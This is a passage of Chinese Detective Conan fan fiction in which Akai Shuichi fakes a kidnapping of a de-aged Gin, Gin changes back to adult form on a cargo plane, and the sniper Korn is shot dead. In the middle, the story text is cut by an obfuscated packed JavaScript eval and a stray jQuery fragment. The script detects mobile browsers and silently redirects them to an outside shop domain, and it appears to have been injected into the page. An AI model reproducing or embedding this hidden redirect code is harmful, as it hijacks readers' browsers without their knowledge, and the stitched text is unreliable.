公安。
降谷零电话打到一半就去看消息,看完之后陷入了长久的沉默,直到电话那边传来诸伏景光的声音:“Zero,发生什么事了?
“没什么,情况紧急,我们把赤井秀一抓起来吧。降谷零头疼地趴在了桌子上。
赤井秀一,又是你在编剧本了吧!
他用头撞了撞桌子,在这个瞬间真的有了把赤井父子都抓起来的冲动。刚才接到赤井秀一没头没尾一个地址的时候他很快就意识到那边出问题了,让同事带人去找,但同事还没到他就看到了基安蒂的消息——就在这短短几分钟的时间里,赤井秀一,你又创造出了一个全新的剧本是吧?!
基安蒂继续发消息:没想到莱伊是双胞胎,三年之期已至,现在过去的莱伊回来了,他变得冷血、无情,难道你真要看着琴酒落在这种人手里吗?!
降谷零捂住了脸:“……够了。
他要脸,赤井秀一可以不要,但他真的不能,原谅他还是个八岁的小孩,做不到这种事。
诸伏景光那边的声音消失了好一会儿。降谷零从桌子上重新爬起来,头疼地想这都是什么事的时候,听到发小温柔地问:“是黑泽那边有什么意外吗?
毕竟黑泽阵是跟赤井秀一一起走的,如果要抓赤井秀一,应该是黑泽出了什么事,不过听Zero的语气,好像不是什么特别严重的情况……
降谷零用拳头锤了锤自己的脑壳,让自己变得清醒一点:“如果「赤井秀一的双胞胎哥哥莱伊绑架了琴酒并准备跟其他组织残党潜逃到英国」算意外的话。
诸伏景光听完沉默了一下,然后扑哧笑出了声。
还以为什么情况呢,原来是莱伊在胡说八道啊,没事了,正常现象。
降谷零给基安蒂发完「你已经背叛我了,基安蒂」,并得到一堆乱码和「琴酒可是你父亲!」的过激言论后,被基安蒂质问了「琴酒对你来说到底算什么」。
他顿了一会儿,才回答:「我养的猫,我会接他回来,你不用管这件事」。
基安蒂:「你会对他好吗?」
降谷零:「会。」
基安蒂:「我帮你拖住莱伊!」
不用了,谢谢,莱伊也在帮我拖住你们,所以到时候你们被我一窝端的时候谁也别惊讶。
降谷零安排完,回到跟诸伏景光的电话上,说:“总之我找人去接应他们了,你不用担心,先养伤……你在外面吗?
“嗯,在医院里兜风,风见用轮椅推着我到楼顶了,没走
多远。”诸伏景光戳了戳旁边的风见裕也,说小裕说句话,风见裕也回过神来,嗯嗯两声,有点手忙脚乱的。
“那就好。”
降谷零还有工作要忙,寒暄几句就挂断了电话。而另一边,一座大楼的天台上,风见裕也看着正在愉快地哼着歌组装狙击枪、还跟他笑了笑的诸伏景光,冷汗正在刷刷的往下淌。
“景光,真的要这样吗……”
“腿受伤对狙击手的影响没你想的那么大,安心啦,小裕。”
“我说的不是这个吧!你现在应该在医院里养伤啊!我到底为什么会同意帮你来这种地方啊啊啊啊——”风见裕也抱头撞墙。他又双叒叕一次辜负了降谷先生的期待,再这样下去他真的要被降谷先生辞退了!
诸伏景光回头,笑吟吟地说:“因为小裕没法拒绝我啊。”
风见裕也蹲在地上画起了圈:降谷先生,你快来吧,谁能拒绝诸伏景光,你让我看着他跟给他加个万能小帮手有什么区别啊!
……
曙光大厦附近。
基安蒂和赤井秀一正在试图拖延时间,并对剧本进行了亿点补充,赤井先生时不时就低头看一眼琴酒,幸好这人还没醒,不然他都不知道应该怎么跟琴酒解释现在的情况。
不过就算醒了他也完全不担心暴露,反正琴酒每次枕着他睡醒的第一反应就是打他……
咳,这不是他的问题,枕头先生郑重声明,换任何人来琴酒睡醒发现身边有人的反应都是下意识攻击,只是琴酒基本上不会在其他人身边睡着而已。
他和基安蒂小姐你一言我一语,就要把波本从出生以来的“八年精彩人生”从头到尾都补全的时候,蒂塔小姐忽然拍案而起。
“不行,既然波本¥%&@#¥……(刚才编的内容),那我们不能再等了,越等风险就越大,我们现在就走!我通知那架飞机提前准备起飞,快走,再不走就来不及了!”
她抄起地上的关东煮套装,从里面摸出自己的手机,啪啪按了几个键,就招呼其他人快走。
正在拖延时间的基安蒂:……
正在拖延时间的赤井秀一:……
然后他们离开了大厦。
然后他们在路上遇到了追兵。
然后他们一路逃跑,在两大主力划水拖后腿的情况下,终于消耗掉了没有名字的四个路人,跑到了港区货运机场。
最后,他们就要到那架飞机上了,跑在前面的赤井秀一努力放慢脚步,看到琴酒快被带走了的基安蒂奋起直追,就在她
要抓到赤井秀一衣服的时候,一枚子弹擦着基安蒂的衣服过去,她一个踉跄……
把赤井秀一推了上去。
千钧一发之际,蒂塔贴心地拉了赤井秀一一把,然后赤井秀一带着琴酒上了飞机,飞机飞走了。
再然后,黑泽阵醒了。
捂着脑袋坐起来的黑泽阵察觉到身边有人,本想攻击,又因为熟悉的气息放松下来。随后他环顾四周,看到昏暗的环境、狭窄的空间、货箱和一个长得像关东煮的玩意儿,以及摇摇晃晃的地面,就抓住身后的人问:“怎么回事?
声音有点哑,带着灼热的温度。
他对上赤井秀一空洞的表情,发现这人完全没反应,伸手扯了扯这个人的脸,才听到赤井秀一说:“我从波本手里把你救出来,但撞上了波本派去追杀其他组织成员的人,他们没认出你和我,所以我跟这几个组织成员一起逃亡,带着你逃到了离开日本的飞机上。
黑泽阵:???我穿越了?
他想站起来,没能站稳,飞机穿过云层发生晃动,于是黑泽阵直接砸回到了赤井秀一身上。
没力气,发烧……意料之中的事。黑泽阵对自己的身体状况有数,或者说验证了他的某个猜测。
“所以……
“但幸好他不知道你是我双胞胎弟弟,以为我绑架你是为了要挟他,肯定会继续跟他联络。没关系,我们不需要继续联络他了,我从母亲那里知道父亲去了英国,这架飞机刚好飞往爱丁堡,我带你去找父亲治疗身体。至于波本,就让他后悔去吧。
赤井秀一的声音充满了空灵的味道——翻译一下,是摆烂的气息。
黑泽阵:“……
所以说他该不会是真的穿越了吧。
上次有这种感觉,还是一觉醒来发现自己床上睡满了组织成员的时候,呵。
他盯着赤井秀一看。
赤井秀一叹气,伸手把黑泽阵圈在怀里,拍拍他的背,说:“放心,波本想不到我们去找咱爸的,咱爸对洗脑很有研究,他会治好你的,小银,你乖乖跟我——
他的话没能说完,黑泽阵就用膝盖猛地往赤井秀一的肚子上重重顶了一下。
银发少年挣开,踩着赤井秀一站起来,居高临下地说:“赤井秀一,我对洗脑也很有研究,如果你疯了我现在就可以帮你治一下。
赤井秀一吃痛地捂住腹部,吸了口气,总算是回归了正常语气:“……你八岁的儿子通缉了我,理由是我绑架乌丸案的重要证人出境。
黑
泽阵面无表情地就着刚才撞的位置踩了下去,说:“你跟他说一声不就行了。
他很恼火,也是真用了力气。
赤井秀一眼疾手快地攥住黑泽阵的脚腕,阻止那只没穿鞋的脚继续往下踩,甚至没敢太用力,就怕人摔倒再恼羞成怒一次。
他无奈地回答:“我手机没电了。
因为在曙光商场附近等了一天,到最后手机没电了,也没法跟降谷零解释。至于黑泽阵的手机,他从一开始就没见,可能被赤井务武丢了吧。
至于其他人,飞机上只有蒂塔的手机,蒂塔在看完通缉消息的最后一刻,手机也没电了。而且就算有电,到这里也没信号了。
赤井先生:我已经能想象出降谷君打不通我的电话时会是什么表情了,而且那个不重要,我应该想象的是我会死在什么地方,埋在哪里,还能不能有个全尸。
黑泽阵眯起眼。
他收回腿,决定暂时不计较赤井秀一的胡言乱语,就倚着货箱问:“所以你是怎么「绑架」我的?
赤井秀一低头叹气:“咱爸把你给我了……他没对你做什么不该做的吧?
脑海里瞬间闪过银发少年听从指令攻击他的那一幕,赤井秀一很想说我爸让你打我,你还真打了,但看到黑泽阵现在完全没事的样子,他又把话咽了回去。
琴酒他……是不是完全不记得?毕竟那时候没有意识,可能也不知道他做了什么。
黑泽阵微微蹙眉,刚要说什么,又忽然顿住,不耐烦地回答:“你满脑子都是什么乱七八糟的东西。
赤井秀一:“全都是你啊,小银。
黑泽阵:“……所以说他讨厌美国人。
就在这几秒的寂静里,黑泽阵背后那团很像关东煮的玩意儿发出了微弱的声音。
“请问……我可以……问一个问题吗?
蒂塔颤颤巍巍地举起手,单是说出这句话,就好像已经耗尽了全部的力气。
黑泽阵向昏暗的机舱里扫视过去,听出了蒂塔的声音,冷冷地说:“哦,差点忘了这里还有个需要灭口的。蒂塔,你越狱出来了啊。
蒂塔,蒂塔快哭了。
她哪里知道莱伊和琴酒的关系这么好,她就不应该相信基安蒂跟她说的鬼话,基安蒂说波本要抓琴酒,要毁掉组织里忠于那位先生的一部分,她怎么就信了呢?
虽然她知道琴酒不是那位先生,但基安蒂说得那么有理有据,她还以为是基安蒂因为情报缺失产生了误解,真相是其他几位【塔】的
人对付乌丸集团,琴酒是其他人都感兴趣的返老还童的完成品,原来不是吗?!
她艰难地缩进墙角,琴酒和莱伊她一个也打不过,蒂塔女士用捡起她最后的坚强,说:“我死之前,能不能问一个问题……琴酒,你和莱伊,真的是兄弟?波本是你儿子?
生怕琴酒和莱伊不同意,她当场就把问题给说完了。
黑泽阵:“……
蒂塔,你不会真信赤井秀一的胡话了吧。
赤井秀一趁黑泽阵沉默,语气轻快地说:“是啊,这是我双胞胎弟弟小银。我刚才说我们父亲的时候他都没反驳,你也听到——
“闭嘴。
黑泽阵打断了赤井秀一的施法,按了按越来越烫的额头,半恼地说:“没有什么双胞胎,也没有什么儿子,波本……勉强可以算我弟弟。
赤井秀一从善如流:“对,波本是我们弟弟,我是大哥。不过我们父亲最喜欢的是小银。
黑泽阵:“……
他也不管蒂塔了,冲上去就跟赤井秀一搏斗!两个人在狭窄的空间里扭打在了一起,身体撞上货箱的重响在昏暗的环境里回荡;弱小、可怜又无助的蒂塔女士劫后余生,把自己塞进了更小的角落,生怕被波及到。
虽然她觉得莱伊是故意说这些的,但人家兄弟两个的事跟他有什么关系呢?
兄弟两个确实没关心角落里的关东煮,打得天翻地覆,除了没上武器之外谁都没有留手,黑泽阵仗着自己体型小,全然利用了这里空间优势,要不是赤井务武送给他的手术刀不知道去哪了,他可能已经找机会划开了赤井秀一的喉咙。
飞机穿过云层,气流让货仓也变得颠簸起来,两个人的战斗仍旧在继续,直到赤井秀一先告饶:“好了好了,我知道你的记忆没问题了,我投降。
黑泽阵的动作一顿,还是往赤井秀一身上狠狠踩了一脚,这回赤井秀一没来得及阻止,在黑暗里吸气。
“试探得很开心?黑泽阵抓住赤井秀一的衣领,冷冷地说,“你认为我会被他控制?
绕了这么大一个圈子,不就是想知道赤井务武有没有对他做手脚吗。
“我肯定会怀疑吧,而且当时你……等等、是我错了!你现在应该休息,而且我们约定好等你变回去再打吧?现在还不是决战的时候。赤井秀一说到一半就忽然改口,他意识到黑泽阵抓着他衣领的手在颤抖,继续说下去的话可能就要打第二场了。
黑泽阵松开了抓着赤井秀一衣领的手,低笑:“现在还不是时
候……呵。”
他有一会儿没说话,赤井秀一试探着给黑泽阵顺了顺毛,黑泽阵没动,也没看他,赤井秀一就放了心,可就在他要收回手的时候,黑泽阵却再也站不稳,跪在了地上。
“琴酒?!”
赤井秀一知道黑泽阵一直在硬撑,还在发烧的身体当然支撑不了多久的战斗,他下意识地去扶黑泽阵,却发现黑泽阵没有在看他,视线……完全没有焦距。
体温已经高到了有点吓人的地步,黑泽阵咬着牙,说了一句什么,赤井秀一没听清。
“什么?”
“……衣服,借我。”
话语从灼热的喉咙里挤出,几乎不成完整的音节,汗水顺着往下滴落,黑泽阵看不清眼前的东西,身体仿佛被撕碎的痛苦正在从四肢百骸传来。
他压抑着不发出痛苦的声音,起码不应该在这个人面前,意识正在逐渐变得模糊,他想用力咬下舌尖让自己变得清醒,却咬到了别的东西。
赤井秀一的声音从极近的地方传来:“这里没有止血的条件,要不然你先咬我的手?”
黑泽阵慢慢松开口。
赤井秀一补了一句:“很疼,真的,你先别咬了。”
他确定黑泽阵不会继续自残,缓缓抽回手,而银发少年用没有焦距的眼睛盯着他看了一会儿,就低头去脱自己的衣服,赤井秀一忽然意识到,现在的情况跟一个月前,他曾经见过的某个场景……无比相似。
夏季单薄的衣料撕裂的声音传来,赤井秀一看着银发少年的身体慢慢变化,以一种不太科学的姿态转变,就要变成某个他很熟悉的银发男人的时候,终于反应过来,动作飞快地把外套脱下来盖在了琴酒身上。
谢谢他喜欢穿外衣的习惯,不然他们就得去抢劫那边的关东煮了。
短短几分钟的时间,十三四岁的少年就变回了成年人,就算第二次看到变化的过程,赤井秀一也还是没能接受……这竟然是科学研究的结果。
银发男人躺在地上,一动不动,就像他从鹤鸣港把人捡回来的时候。
赤井秀一小声问:“琴酒?”
没有回应。
他小心地伸出手,想试试银发男人体温的时候,却被人猛地按住了手腕。
银发男人撑着身体坐起来,盯着他看了很久,久到赤井秀一都要怀疑这人又失忆了,不过就在他试图编个新剧本说服琴酒的时候,他听到了故意压低的、有点恶劣的声音:“现在还不是决战的时候,嗯?”
……
稍微早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13110900|113047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些时候。
东京。港区货运机场附近的天台。
科恩收起狙击枪,不出意外地听到了背后的声音:“你打偏了,科恩。”
伏特加走到他身边,往正在起飞的飞机方向看去。他们没能提前确定到底是哪架飞机有问题,也不能直接拦截港口的所有飞机,现在飞机已经起飞,来不及了。
科恩回答:“常有的事。”
就在刚才,他接到了来自组织的任务,拦截想要进入港区货运机场的几个人。科恩负责提供远程协助,但他在那群人里看到了基安蒂。
伏特加听到回答,就侧头去看科恩,说:“你是故意打偏的,科恩。你故意开了那一枪,让她上不了飞机,这样她才能逃出去。”
科恩已经在收拾装狙击枪的箱子了,他低着头,说:“波本会查到那架飞机的去向,跟上去才是死路。”
所以他才会开枪,阻止基安蒂上飞机。
就算不久前他刚刚跟基安蒂分道扬镳,基安蒂下手的时候也是先打伏特加,他很清楚,如果真到了选择的时候,基安蒂会独自逃亡,绝不会带上他。
自私、漂亮,毫不拖泥带水,不会被任何东西困住的女人,就是基安蒂——
但她确实被自己织的茧困住了。科恩想不通基安蒂为什么那么在乎琴酒,他觉得琴酒对基安蒂来说没什么特别重要的,或许基安蒂在意的也不是琴酒,而是属于她的、没人知道的一段过去,她为其冠以了琴酒的名字。
伏特加就站在天台的边缘,风把他的衣服吹起,最后他摘下墨镜,问:“所以,你背叛了组织?”
科恩一顿,看向伏特加,说:“我没有背叛组织,基安蒂也没有,我们只是追随了不同的人。”
伏特加把墨镜别在胸前,又看向科恩背后,那是一片城市的高楼,远处的玻璃正在黄昏的日光里闪闪发光。
很久,他说:“那你刚才就不应该打偏。”
就在下一个瞬间,将手提箱整理完的科恩忽然抬手,一把被从手提箱背后摸出来的枪稳稳地对准了伏特加。他从一开始就知道有人会来,而且伏特加这个明明应该跟波本有矛盾,却完好无损地出现在这里的人最为可疑。
科恩打量着没戴墨镜的伏特加,还是很难相信这是同一个人,于是他也摘下了墨镜,说:“就算BOSS变了,组织也变了,几天之内一切形势都发生了变化,我也从未想过对我说这句话的人会是你,伏特加。”
伏特加:“……你是谁?”
科恩:“我是科恩。话
说你真的是伏特加?”
伏特加:“……”
科恩:“……”
两个没戴墨镜的人面面相觑,不约而同地把墨镜重新戴上,这才能正常对话。
太好了,戴上墨镜,整个世界都变得正常了。
伏特加看着科恩的本体,重新找回了自己刚才想说的话:“科恩,你知道波本有问题,就算这样你还是要继续吗?”
科恩看着伏特加的本体,顺利地找回了自己的节奏:“我跟你不一样,伏特加,我是组织养大的。我的履历是组织伪造的,我的一切是组织给的,我所有的真实都在这里,我离开组织就无处可去,所以我不会背叛组织。就算BOSS背叛了组织,我也不会。”
他说这话的时候非常平静,平静得像是天边被染红的云。
黄昏正在沉降,那架飞机已经消失在远方。没有被击落——可能是因为琴酒在上面,就算是那位波本先生也没采取太过暴力的手段。
“BOSS背叛了组织……吗。”
伏特加的声音有点感慨,他知道的比科恩多得多,现在听到科恩这句话,甚至有点恍如隔世的感觉。不过,他刚知道波本是卧底的时候,心情比现在的科恩要复杂得多。
他想,组织里还是有那么一两个忠臣的,可惜对「我们」所有人来说,组织不需要忠诚。
他决定对老同事做个最后的提醒,起码让他能保住一条命:“科恩,你现在回头还有机会。”
科恩摇摇头:“我已经没有机会了,伏特加,我说了,我和你不一样。我会杀死波本,就像你当初做的那样——波本不该是BOSS。”
话到最后已经从闲聊变成了最后通牒,科恩知道如果近战他几乎没有短时间内制服伏特加的方式,所以在话音刚落的时候他就扣动了扳机。
伏特加只退了半步,本想做出应对,却忽然停下了动作。
就在他眼前,科恩的胸口被打穿,鲜艳的红色在他胸口蔓延开来。戴墨镜的狙击手缓缓倒在地上,最后,科恩不可置信地睁大了眼睛。
这是个很不错的狙击点位……也是个不错的被狙击的位置。伏特加往黄昏的日光反射的城市高楼看去,似乎有个人影正从那边消失。
而科恩的手机来了一封邮件。
是给他下达任务的邮件地址。他用颤抖的手、拼尽最后的力气拿过手机,看到了邮件的内容——
「感谢你的忠诚,科恩。但我不需要它。」
忠诚……
科恩吐出一口血,胸
腔里传来剧烈的痛楚,他想说什么,但没能再说出一句话,手机从他手里掉落,染上了鲜红的血。
血泊从他身下蔓延到了一旁的手提箱,里面是陪伴了科恩很久的狙击枪,科恩挣扎了几下,渐渐地不动了,到最后,他艰难地伸出手,伸向某个方向。
组织……不需要忠诚这种东西。
原来组织早就不存在了啊。在最后的时刻,科恩终于想明白了这点,波本明明已经打出明牌,他却还要相信组织会以另外的方式存在,因为他只能存在于组织,就算波本说的是谎言,他也只能欺骗自己去相信。他挣扎着,翕动着嘴唇,向说什么,破碎的音节从他的喉咙里滚落,变成谁也听不清的临终呓语。
逃、快逃。基安蒂,我离不开组织,但是你可以,从这里离开,再也不要回到组织了。
狙击手的视力让他最后看到了那个黑色的影子,基安蒂拐进小巷,彻底消失在了尽头。科恩看到那只黑色的蝴蝶飞走,终于闭上了眼睛。
黄昏终于彻底消失,天边的最后一抹霞光被黑暗吞没,整个世界都陷入了沉寂。
没过多久,城市的灯星星点点亮起,比白昼更加热闹的夜晚来临。
伏特加就站在距离科恩不远的地方,他蹲下来,给科恩摘下墨镜,帮他合上眼睛,又帮科恩戴上了墨镜。
科恩死了。
他死前依旧在追逐着已经不存在的组织。
……
远处的天台。
诸伏景光发完邮件就收起手机,对风见裕也说:“小裕,我们回去吧。
风见裕也看看远处的两人,认命地帮诸伏景光提着装枪的手提包,然后推着轮椅下楼的方向走。这座建筑的顶楼是可以直接通过电梯上来的,这也是诸伏景光选择这里的原因。
走到一半,他忍不住问:“真的没关系吗?
诸伏景光抬起手,拍拍风见裕也的肩膀,说:“没关系,科恩死了,水无小姐去‘接’基安蒂了,飞机就由Zero负责吧,反正大部分人都被抓住,最后上去的应该不剩几个人了吧。
风见裕也又想撞墙了,他觉得诸伏景光明明知道他在问什么,但就是在假装没听懂:“我不是说这个……我是说,本来应该抓他回去的吧。
诸伏景光轻声说:“但是蒂塔越狱了,她那种人无所谓;科恩不一样,他已经知道Zero的问题了,他会选择杀死‘波本’,只是抓到他……Zero还是很危险啊。
在医院里的时候,他花时间看了所有组织成员的资